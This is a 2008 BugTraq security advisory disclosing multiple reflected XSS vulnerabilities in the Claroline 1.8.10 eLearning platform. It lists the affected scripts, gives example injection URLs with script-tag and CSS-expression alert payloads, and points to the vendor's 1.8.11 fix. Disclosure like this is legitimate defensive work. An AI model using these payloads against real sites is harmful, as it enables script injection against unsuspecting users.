BugTraq
[DSECRG-08-032] Claroline 1.8.10 Multiple XSS Vulnerabilities Jul 22 2008 03:34PM
Digital Security Research Group [DSecRG] (research dsec ru)

Digital Security Research Group [DSecRG] Advisory #DSECRG-08-032

Application: Claroline eLearning and eWorking platform
Versions Affected: 1.8.10
Vendor URL: http://www.claroline.net/
Bug: Multiple Linked XSS
Exploits: YES
Reported: 18.07.2008
Vendor Response: 22.07.2008
Solution: YES
Date of Public Advisory: 22.07.2008
Author: Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)

Description
***********

Claroline system has multiple linked XSS vulnerabilities.

Details
*******

1. Multiple linked XSS vulnerabilities found. Attacker can inject XSS in URL string

1.1 Linked XSS vulnerabilities found in scripts:

claroline/announcements/messages.php
claroline/auth/lostPassword.php
claroline/auth/profile.php
claroline/calendar/myagenda.php
claroline/group/group.php
claroline/learnPath/learningPath.php
claroline/learnPath/learningPathList.php
claroline/learnPath/module.php
claroline/phpbb/index.php
claroline/tracking/courseLog.php
claroline/tracking/course_access_details.php
claroline/tracking/delete_course_stats.php
claroline/tracking/userLog.php
claroline/tracking/user_access_details.php
claroline/user/user.php
claroline/user/userInfo.php

Attacker can inject XSS in URL string.

Example:

http://[server]/[installdir]/claroline/calendar/myagenda.php?"><script>a
lert('DSecRG XSS')</script>
http://[server]/[installdir]/claroline/user/user.php?"><script>alert('DS
ecRG XSS')</script>

1.2 Linked XSS vulnerability found in claroline/tracking/courseLog.php

GET parameter "view"

Example:

http://[server]/[installdir]/claroline/tracking/courseLog.php?view=DSec"
STYLE="xss:expression(alert('DSecRG XSS'))

1.3 Linked XSS vulnerability found in claroline/tracking/toolaccess_details.php

GET parameter "toolId"

Example:

http://[server]/[installdir]/claroline/tracking/toolaccess_details.php?t
oolId="><script>alert('DSecRG XSS')</script>

Solution
********

Vendor fix this flaw on 22.07.2008. New version 1.8.11 can be downloaded here:

http://downloads.sourceforge.net/claroline/claroline1811.tar.gz
http://downloads.sourceforge.net/claroline/claroline1811.zip

About
*****

Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website.

Contact: research [at] dsec [dot] ru
http://www.dsec.ru (in Russian)

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